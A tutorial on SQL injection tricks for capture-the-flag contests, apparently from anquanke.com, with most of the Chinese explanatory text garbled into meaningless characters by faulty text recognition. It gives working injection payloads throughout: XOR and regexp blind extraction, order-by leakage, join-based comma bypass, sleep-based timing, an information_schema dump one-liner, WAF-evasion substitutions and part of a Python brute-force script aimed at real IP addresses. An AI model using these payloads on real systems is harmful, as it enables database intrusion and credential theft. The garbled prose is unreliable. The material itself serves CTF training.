CTF /LB sql BiEFZFEAN—LE tips - 2 F
=, Z2R7/NAFES

L PDE-NECALEFERRE/IMLEBRERNEIZF AN L) tips, HEEASEARNLETFLE
SEf AR SR —EESL RS B,

Z2E ( www.anquanke.com )

0x00 FiS

£ ctf tEFRFRRZER LA (keng) #B(die)dNEAR, FEHAN—SIHGRT waf FLLIEAN, XFERL FASZEH
HEARLEHEEE. AMAEETIEFHTXELERNARGEL, IREMEEMTF, TESE—FTEHCELERET
BETMLEEBERINEEFIEN—L/) tips, FEREESEAKRILEFRE LR PHR—LETFIEREL.

0x01 XOR A

RN XS AMAT FENFS, FINGEERRA xor JEN

1. EFFEAN payload

admin'~(ascii(mid((password)from(i)))>j)~'1'="1'%23
&
admin'”(ascii(mid((password)from(i)for(1)))>j)~'1'='1'%23

BAIE D — T MEDIEN:
BRBAIFGRIE » FERDEITED:

admin’

acriilmid((nacawanrd\fram (i si


https://p5.ssl.qhimg.com/t01bd9e42092598119b.jpg

L R T RN VLY R R R RNy D N Rl |

"1'="1"%23

RAENSEENEDHEENE (BEEREN 1) , REFENETTHERR
LB payload HZHEEREHPENIECIRE, HAMAIUARX MFERAMEENERT

0™MA0 --> 1 IEGIR[E[ N E
07070 --> 0 IEZGIR[E 918

XE mid RERIERTE:

EBRENT, T str #/FE, M pos (EARSHEMNETIR, REIHE len RENFF &

MID (str,pos,len)

RENAERZ, from(1) REME—TIBEFREER TNFNHS, for(l) RIRMBUEE—XMEBER—TFF

mid((str)from(i))
mid((str)from(i)for(1))

A TENERSRN ZMABERET

HRtlETE EREiERs

1 select mid(('abc'")from(2))
5

EE SF1 B8R W=

mid{("abc")from(2))
P bc

1 select mid(('abc')from(Z2)for (1))

BE SR B|R %S

mid{("abcfrom(2)fo
b


https://p5.ssl.qhimg.com/t0140a3e283bc374f13.png
https://p1.ssl.qhimg.com/t017cae0093867cb04a.png

XBEETRGEHN: RTAKET for ARERETIR?

EANXER ascii RAZFIARFRHERE—TFRIRY ascii BBHAMLH

ERtETE =EaEiERs

1 select asciil(’ ab:i' )

=2 SF1 @R &
ascii('abc”)
> 97

2. (FAIH=S

=i

T R#EF: and. or
T

i

e

[

H}
% o

b

BOEE

WRXEBTIET = SHE, EAIBAA > & < AF (KIRILER)

payload: admin'”(ascii(mid((password)from(i)))>j)~('2'>'1")%23
MRXELIET % SHEREFNE, PHiERE— 15| SEEMAMMEENS|ISEET 17="1

0x02 regexp jEAN

1. EFEAN payload
select (selecti&f) regexp 'IEM'
TE—A MBI F IR — T
5 EENE BRI

select user_pass from users where user_id =1


https://p1.ssl.qhimg.com/t017cae0093867cb04a.png
https://p4.ssl.qhimg.com/t01b0366f8e823b1adb.png
https://p3.ssl.qhimg.com/t014b5563b07d83a5e5.png

1 select user pass from users where user_id =1

Ea ER1 BR RS
user_pass
4a94a8fe5ccb19bab1c4c0873d391e987982fbbd3

BEMTIENEN, BLEMRE 1, REEIRE O

select (select user_pass from users where user_id = 1) regexp '*a'

1 select (select user pass from users where user id = 1) regexp ""a'

FE SR \BR S

(select user_pass from users where user id = 1) regexp 'Aa'
4 1

XER ~ R7R pattern B9FF L

EBE—SDHE


https://p3.ssl.qhimg.com/t014b5563b07d83a5e5.png
https://p3.ssl.qhimg.com/t01362b930109fada61.png
https://p4.ssl.qhimg.com/t0116be8d64b188e6e4.png

1 select (select user pass from users where user_id = 1) regexp '"~a%4’

B2 =R @R wE

(select user_pass from users where user _id = 1) regexp "*a94"'
4 1

1 t (select user pass from users where user id = 1) regexp '"“a%4aBfeSccblSb’

<
B2 SR @R KT

(select user_pass from users where user id = 1) regexp '~a94a8fe5ccb19b’

4

FHE regexp XPTKRBFAEATURE where FHEN = 5

select * from users where user_pass regexp '*a9'


https://p4.ssl.qhimg.com/t0116be8d64b188e6e4.png
https://p2.ssl.qhimg.com/t01a990ac928cf55e18.png
https://p5.ssl.qhimg.com/t014c916f8c87bfa6ad.png

1 select * from users where user pass regexp '"af’

< >
=8 £F1 #\R %=
user_id user name  user_pass user avatar  user bio  join_date login_
4 1 test a94a8fe5ccb19bat1c4c0873d39 0000-00-00 127.0.

2. (EFR1%=
TIET =, in. like

XEH N MROBILIETRIE, ATMER $ RMEERIFHITTE

1 select (select user pass from users where u_ser_id = 1) regexp 'bd3s’

<
=8 SR \BR %S

(select user_pass from users where us



https://p5.ssl.qhimg.com/t014c916f8c87bfa6ad.png
https://p2.ssl.qhimg.com/t01bfdf306e9c12afd7.png

A IENNEAZIZPTABXE
http://www.cnblogs.com/Icamry/articles/5717442.html

0x03 order by Hi¥

1. EAFEAN payload

select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3

BkEE order by BUERAE:

order by 'number' (asc/desc)

BIXE—IATHR, BUARHFHY, BNEERIARL asc, B4 LE—E/MEST

select * from users order by 3 asc

BAEEANREZER(ER order by RAIMTEIRENTIEL, BBATXEERMES union select EFHITIEAN

2, REDH

BRAEEIAREBEEIATNFERFE, XEFNWENEETE test B user_pass B

1 select *¥ from users where user_id =

< >
=2 SF1 @R s
user_id user name  uUser_pass user avatar  user bio  join_date login_ip =
k1 test a94a8fe5ccb19bab 1 0000-00-00 127.0.0.1
1 2 3 4 5 6 7
W

EERNEIEQREMNL order by 3, BISISE=F#1THFHS (#2H] ascii i93K)

1 t * from users where user_id = '1"'" union select 1,2,3,4,5,6,7 order by 3

A

< >
BE SR @R %=

user id user_name user_pass user avatar user bio  join_date logi ~
b1 2 3 4 5 6 7

1 test a%94a8fe5ccb19bab1s 0000-00-00 127.


https://p2.ssl.qhimg.com/t01bfdf306e9c12afd7.png
http://www.cnblogs.com/lcamry/articles/5717442.html
https://p1.ssl.qhimg.com/t01c82b98f9bd65effc.png
https://p1.ssl.qhimg.com/t01c161fc6c34cd8fde.png

X user_pass FIHEY 3 2] union select BEEMNE=S, XEMIE I BN’ a’

t *¥ from users where user_id = ']l" union select 1,2, 'al',d,i,i-,? order by 3
< >
EE SR @R %S
user_id user_name user_pass user_avatar user bio  join _date logi ~
> 1 2 a 4 5 6 7
1 test a94a8fe5ccb19bab: 0000-00-00 127.

REAREENTAZEN, BBAEMEE D EE

t * from users where user_id = '1" union select 1,2, "o|',4,5,£-,7 order by 3
< >
B2 SR @R =
user id user_name user_pass user avatar user bio  join_date logi ~
2 test a94a8fe5ccb19bab T 0000-00-00 127.
1 2 b 4 5 6 7

BIAP test MAIE—ATHT, MUXEZXERMFIMEROERIVIAN, HREIRE-IINHEL, RIFEZRFFEEA]
BENERSILER

HRXEBHATLAER order by desc FEFHPFIFCEN, AINXEERFEER G EARHAITIEE

3. {EMI=

W T IR
WETHES

e T R W Sy by T R S PR R R R


https://p1.ssl.qhimg.com/t01c161fc6c34cd8fde.png
https://p5.ssl.qhimg.com/t0101ef42a1afcf0ae7.png
https://p5.ssl.qhimg.com/t014e91c51e99d488d7.png

EH T ERANARAIN B AR INIBIUEREA

O0x04 SCfliHE%

1. ascii B3B8 skctf login3 F9—E, bugku EthA:

B HEE: http://123.206.31.85:49167/

123.206.31.85:49167

admin

password

25 ( www.anquanke.com )

EINERNERME, RAFEIAN, K fuzz — TR T AFN. £/ bp BY intruder IRIRFANFEHT fuzz(F
ERELARR).

1x (2 x (128

ST

Target | Positions T Payloads T Options ]

EJ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: [ Sniper

POST /index. php HITP/1.1

Host: 123.206.31.85:49167

Content-Length: 76

Cache-Control: max-age=0

Origin: http://123.206. 31, 85: 40167

Upgrade-Insecure—Requests: 1

Content-Type: application/z—vwww-form—urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0: Winf4: =64) AppleWebEit/537.36 (KHIML. like Gecko) Chrome/68.0.3440.75 Safari/537. 36
Accept: text/html, application/zhtmnl+=nl, application/=ml; q=0.9, image/webp, inage/apng, */* q=0. &
Referer: http://123.208. 31.85: 49167/ index. php

Accept—-Language: zh-CN, zh;g=0. 9

Coolzie: PHPSES3ID=cmodfazodn’rodpipld0dkdeh?

Comnection: close

usernane=adnin’ § aaa § kpassword=asdZ

AMEEIREN =, =, and, or BHEIIRT, BR >, <. " REEIIE, FALLXEEA ascii BiE

e

Start attack

 Ags
| Cearg
Aoy
 Refresh



http://123.206.31.85:49167/
https://p3.ssl.qhimg.com/t017c7e4ee168f25572.png
https://p2.ssl.qhimg.com/t01af61cbe96eeef863.png
https://p2.ssl.qhimg.com/t010e49eaddb39c361a.png

i Intruder attack 1 - a X
Attack Save Columns
j Results T Target [ Positions I Payloads [ Options 1
‘ Filter: Showing all items ?
Request | Payload | status |Emor | Timeout | Length v | Comment
41 table_schema 200 () O 1023 k]
43 table_name 200 ()] O 1023
44 column_name 200 O O 1023
45 - 200 O O 1023 )
47 & 200 O O 1023
48 200 O O 1023
49 B 200 O 0 1023
50 = 200 O O 1023
51 < 200 O O 1023
52 | 200 O O 1023
53 \ 200 O 0 1023 [
j Request I Response 1
j Raw I Params I Headers [ Hex 1
POST /index.php HITP/1.1 i
Host: 123.206. 31. 85: 49167 r
Content-Length: 32
Cache-Control: max—age=0
COrigin: http://123.206.31. 85: 49167
Upgrade-Insecure—Requests: 1
Content-Tvpe: application/z—www—form—urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: x=64) AppleWebEit/537.36 (EHIML. like Geclko) Chrome/G8.0.3440.75 Safari/537.36
Accept: text/html. application/zhtml+zml, application/=ml;q=0. 9, inage/webp, inage/apng, */* q=0. 8
Referer: http://123.208. 31. 85: 49167/ index. php
Accept-Language: zh-CH, zh;qg=0.89
Coolkie: PHPSESSID=cmodfazodn’rodpiplf09kdeh?
Comnection: close
username=admnin’ %3ckpassword=asd?
=
¥
? < + > | | Type a search term 0 matches
Finished | i Sl ikt

XEHEEEF AL admin B password, TREMAIEMIHAE T, HiZLH payload:
username = admin'”(ascii(mid((password)from(1)))>1)"('2'>'1") %23

R EE 1R —E)EARE sqlweb FUELR—HREE AL ZAEIIXM ascii §iE
X payload A LEIRNZ—HM, FIAXTMEMRTIESIBEBENL T,

2. regexp BiFEHKEZTRIE—EFAM

T EBHE: http://ctf5.shiyanbar.com/web/earnest/index.php

writeup 58&: http://www.shiyanbar.com/ctf/writeup/4828

S EESE p F09 wp MHY, RMXESAE TR, BEREHM sql WAIRSZNEIETE, B4 waf —EBEFHR
BH.

5

BERE—T id EABAR, d FEIANR, BREURTRSERA, RENSEMANFML T, 5% p FROFMARE
BRXE, T ~, ERRIIR S, FALA xor SEAFTR T, XiBiksF regexp iENER $ FSMEERIEAN

0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'='

XEZH python BRIFIAR, —T—PHIXFRFBNENTESE&E flag


https://p2.ssl.qhimg.com/t010e49eaddb39c361a.png
http://ctf5.shiyanbar.com/web/earnest/index.php
http://www.shiyanbar.com/ctf/writeup/4828

3. union EIFFIAERIERE R, MEF A LERBBLERMHITIEN, FlFEREBIELR ctf l—& ctf @B :
T EBHE: http://ctf.whaledu.com:10012/52gw5g4hvs59/

BEIFGHAET, BEAUE FHH writeup
BAEFABEFE sql FARE—TLER, M@ FIAZRIREIRE

| L 1 1 1 1 L 1 1

FO3T /5ZgwSgdhvs59/downfile. php HTTE/L.1 i HTTF/1.1 Z00 OE

Host: Z0Z.98.28.108:10012 P Date: Mon, 09 Apr 2018 13:32:17 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWEL; rv:5e.0) ZServer: Apaches

Gecko/20100101 Firefox/56.0 ¥-Frame-Options: SAMECRIGIN

Aocept: ¥-FPowered-EBy: PHF/5.5.38

text/html, application/xhtml+xml, application/xml;q=0.9, */*:q=0.8 Expiresz: 0O

Aocept-Language: zh-CH, zh;q=0.8,en-U3;qg=0.5,en;q=0.3 Cache-Control: must-revalidate, pps
Content-Type: application/x-www—form-urlencoded Fragma: public

Content-Length: 22 Content-Description: File Transfer
Eeferer: Content-Transfer-Encoding: binary
http://Z02.98.28.108: 10012/ 52gwsgdhvs59/ index . php?file=download Locept—-Ranges: bytes

Cookie: PHPIESSID=4rshbovexzowzOtpswxitissol Content-Disposition: attachment: fi
Connection: close Content-Length: 1gZ
Tpgrade-Insecure-Fecquests: 1 Connection: close

Content-Type: application/octet-str
image=79 ununiocnion selselectect 0xE9EEE46578ZETOEST0
timage download=%E£394%EB6%ES%S7%EF PFOO000000000FO } 000000000000 L . phpd/
Mk{ ; OFFOO ?0000000000PO 0000000000 0
0 0000000047 TZ000:00

0o 00

OO0 F FOOOO0OO00000 w000 500000

ZRZETEIT, R LENXXEMURENFRFE EERT / Upl0aD / XHEHRT, BIINBNMEERTIANZSR LEE
RO, EFERAGENRER order by BIEEXXHRFE:

addslashes(pathinfol [“file"]['name"],PATHINFO_FILENAME));
'./Upl@aDs/" random_str() .[.'.pathinfo( ['file']["name'],PATHINFO_EXTENSION);
["userid|];

"insert into “download (" uid , image_name” , location’) values ( 5 :

query( )s
move_uploaded file( ["file']["tmp_name'], )DE
) "<script>alert('file upload success!');window.location.href="'index.php?file=home'</script>";

&= (www.anguanke.com )

BRI order by 31X, AR id XE:

isset( [‘image'])?filter( ["image']):
"select location ffrom download where uid="

query( )s #2% ( www.anquanke.com )

2S5 order by BIERIBIZAINTE:

getFijremame()
data=|'image=79 ununionion diisstinct selselectect @x{filename} oisrorder by 1 desc&image_download=%E6E
url “TCtpT/7292-96- 28188719912/ S2gw5ganvs 59/ downt LI, php™

headers {

"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=4rsbbcy6xzowz@tpswx8tissoj",
"User-Agent":"Mozilla/5.8 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.8.2883



http://ctf.whaledu.com:10012/52gw5g4hvs59/
http://note.youdao.com/noteshare?id=94ae1c287b7d49a55a7590f1b826df17&sub=4621B6951500439F8D75AF9E8A77A0E2
https://p3.ssl.qhimg.com/t0160fb43fe8fb0aec5.png
https://p2.ssl.qhimg.com/t015fe845474a46e393.png
https://p1.ssl.qhimg.com/t01e765181deac57ae0.png
https://p1.ssl.qhimg.com/t018be9901a23075839.png

*./UpleaDs/"
range(33):
print "[*]",fileName

i randStr:

fileName

tmpFileName = fileName+i
{"http":"127.0.0.1:8080"}

proxies

res = requests.post(url,data=data.format(filename=tmpFileName.encode("hex")),headers=headers,prox

e
"file may be deleted"” res.text:

fileName fileName Ze®= (www.anquank

XBEEFETR, ZINAERRESE, Fild payload BREARRERE, [ERHINIZEXFFR:
image = 79 union distinct select Ox{filename} order by 1 desc
EERIER image=79 2EFEMNEFRM id, X# order by 7 B AT EESTER

X MEAERN BB LEHE—F, FAAARAUE KRB RS,

0x05 EftBRY—LE/)\ tips

1. —ESUEANEREA (FHiEFS)

e

FRE:

FHE <--> %20, %0a. %0b. /**/. @tmp:=test
and <--> or

'=' <-->"like' <-->"'in' --> 'regexp' <--> 'rlike' --> '>' <--> '<'

@tmp :=test RBEMTE select X®¥FZ /G, FSRENFHEHE

FEREUTFE: left(). mid(). substr(). substring()
HYasciifBRER: ord(). ascii()

2, —XEMABRIANFER

(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CON

CAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)

GET _.d'sc[l18_f4af04563022]3lB])SldQl‘lSa})DbfblSdg"inclex.1Jh1:| & [ infoermation schema ] >TRIGGERS > CREATED "
HTTF/1.1 o [ information schema ] >TRIGGERS > SQL MODE "
Host: labl.xseclab.com [ information schema ] >TRIGGERS > DEFINER
Connection: close [ information schema ] >TRIGGERS > CHARACTER SET_ CLIENT
Cookie: PHFSE3SID=45hCb1lE87AEfZcEefaedEesSTELIdEEe4a4775; id=2 [ infermation schema ] >TRIGGERS > COLLATION_ CONNECTION
union select 1, (select group concat (table nams) from [ infermation schema ] >TRIGGERS > DATABASE COLLATION
information schema.tables where [ infoermation schema ] >USER PRIVILEGES > GRANTEE
table schema=database (), (SELECT (B) FROM [ infoermation schema ] >USER PRIVILEGES TABLE CATALOG
(SELECT (@ :=0x00j, (SELECT (§) FROM [ information schema ] > > PRIVILEGE TYPE
(information schema.columns) WHERE |ta]:|le_schemal>=@| ANT [ information schema ] ] 5 > IS_GRANTABLE
(@) I (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] [ information schema ] >VIEWS > TABLE_ CATALOG
#',table_name,' > ',column_name))))x) [ information schema ] >VIEWS > TABLE_SCHEMA
Accept: */* [ infermation schema ] >VIEWS > TAELE HAME
User-Agent: Mozilla/5.0 (Windows NTRRO.O; WOWE4d:; rv:5&.0) [ information schema ] >VIEWS > VIEW DEFINITION
Gecko/2010010L Firefox/56.0 [ information schema ] >VIEWS > CHECK OPTION
[ information schema ] >VIEWS > IS5 UPDATAELE
[ information schema ] >VIEWS > DEFINER
[ information schema ] >VIEWS > SECURITY_ TYFE
[ information schema ] >VIEWS > CHARACTER SET_CLIENT
[_information 1 _SUTEHS o f CTION
[ mydbs ] :»sag_manager_sqlis = id
[ mydbs ] >sae manager sglif > username
[ mydbs ] >sae manager sglif > password
[ mydbs ] >sae user_ sqgli8 > id
[ mydbs ] >sae user sqlis > title
[ mydbs ] >sae user_ sglif > contents</div>
<fdive
</body> D
</htmls> ]
. 4
v v

3. Subquery returns more than 1 row BB /R7%


https://p1.ssl.qhimg.com/t018be9901a23075839.png
https://p3.ssl.qhimg.com/t013d169a7df5911988.png
https://github.com/tmp

FARTERENEEEFEOZ T, tMEERARE-INERT, REERA limit FERHE, MerEX e,
Bl limt 0,1

MRBAVXBANESHEITIE T VEN? BBRER offset KEEF:
limit 1 offset 1

NRBATIXERY limit HATIE T FES? FBFIN T ERY LA

(1) group_concat({EBNRZ)
(2) <>THE(REFTF)

(3) not in

(4) DISTINCT

FEXEHTRET sql EXRiEG, XEMA——2F]T ., ARAINUSERMARIRNIL, IHRER
4. join JEN

payload:

1' union select * from (select 1) a join (select 2) b %23

i LR TESHIER MER

THERY payload(FIMIIEEFLEINERN) ERTIIR T ESHFERBRIIE R MMEA

union all
select * from(
(select 1)a join(
select F.[EEEHINFERS] from(
select * from [EEEZHNRE S D NFEFjoinZ /D]
union
select * from [FE&EIHAIKR] [limitFa]]
)F-- BATEIZBRIEMFREZRS, EUEX—THE, REEEFIE][FRS]EGHE
)b-- [E]_L[1FZEZDFEFEjoin 2T, LUFEFERHIEEAIE ]
)

BRERBEREAXNITSTEEAN, BEANERAINEE TENXE:
https://blog.csdn.net/qq_33020901/article/details/ 78906268

5. %! BEA

B & THEM payload, EMAT and. or. " #IIENIER ™MEA, AR EHERE, BEATNRIETZRA
H, AXKABABTT google

_[ Raw T Params T Headers T Hex ]

POST /login.php HTTP/1l.1

Host: 118.190.152.202:8019

User-Agent: Mozilla/5.0 (Windows NT £.1; WOWE4; rv:80.0)
Gecko/20100101 Firefox/€0.0

Accept:

text/html, application/xhtml+xml, application/xml;cq=0.9, */*;q=0.8
Accept-Language:

zh-CMN, zh;q=0.8, zh-TW;g=0.7, zh-HE;q=0.5,en-US;qg=0.3,en;c=0.2
Accept-Encoding: gzip, deflate

RBeferer: http://118.190.152.202:8019/ index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: €1

Cookie: PHPSESSID=5nZEaS54EBmlvkkf3Sr534etnt07



https://blog.csdn.net/qq_33020901/article/details/78906268
https://p5.ssl.qhimg.com/t014c08c2eb32425b22.png

Connection: keep-alive
Upgrade-Insecure-Requests: 1

uname="'"!'=!!"fascii(mid|( (passwd) fromil) ) )=99) '=11"]l&gpasswd=dddd

6. if 5 (REFIAZRMG)

if BENEREN:

if (R0, KD ERTHIES, SR BRRTHED)

MBI F

admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)

YT if B ENFBELMMNMA, B—E BCTF AT wp BANFZ if B

wp PHE:  https://www.kingkk.com/2018/04/bctf2018-love—q/

SRENXUKRELYART pow REMERDNEE, FBET if AMENRGSIRE, EETRITXETEELRE
by
[RIBANT:

mysql> select if(1,1,pow(2,22222222222)); // £ NER,

+ +

| if(1,1,pow(2,22222222222)) |

+ +

|11

+ +

1 row in set (0.00 sec)

mysql> select if(0,1,pow(2,22222222222)); // &4 FERET, IRES
ERROR 1690 (22003): DOUBLE value is out of range in ‘pow(2,22222222222)’

i

H)J
ot
HI
W

BRFIF pow XMRECHE LAVFHEHEAILEX—, XMBEBRNEFENNLNIRET, SZBREGYF ctf BIEANTUR]
Jll &%

0x06 HE 248 NENTRIE

1. EHEENS, id=, username=, H#f GET/POST/COOKIE ;A
2. BFETN, WRRE—TERMUEER union EAREEER limit R ER
3. HIMIFREVEANRRHFEIEN (2-1, 'BREIER)

4. MAFRBEEENHESBETN, TEARIERIMZERA bool BHEEF, EEREEERMIAZRIREFN (exp,
updatexm! (iR updatexml. extractvalue 1R%E) )

5. LEBEMITRIIBRGESHEEBRT, id=11, id=1%231 (BEESH / /. %20, %0a. %09 Zid)
6. #H1T fuzz, BEEILEW waf T

7. ENELRBET waf WIEZEART (sql injection detected) , MBS BWERNE=NFH (W " or *=" 7
or ‘==’ , WIRMEIREIEERIE, MiRAZFREERNET)


https://p5.ssl.qhimg.com/t014c08c2eb32425b22.png
https://www.kingkk.com/2018/04/bctf2018-love-q/

8. MBZEUNE. RwE. KNEBFRNGE, FIESA UG
9. MEIAALN (REEEEMERE) , union, WEEN. BIE
10, 75 bp FHE—BERSES

1. SHEHZA

REZNMIMEIEARFHIBTEEANRE, HEIBOTRARAN KB FARIBANRGN R T, SMBER(IRECS
B OO E R 2R T .

LEIRIL EEFERZE union AN RETIANARIZEANEERNER MERN, MMNREEZ2—TEE, b
HERERBERNGE, MRARMEMFECEHNRATUR union EFFALR, MEAEITENERZI—2, B
RBRZIE, ANXEGEZZERBEATERNIMEAATRECH, REICHESME! SR ZRHA! KEFHE
BRENART R,
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SQLi filter evasion cheat sheet
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sql BiEZ ENRARNK T
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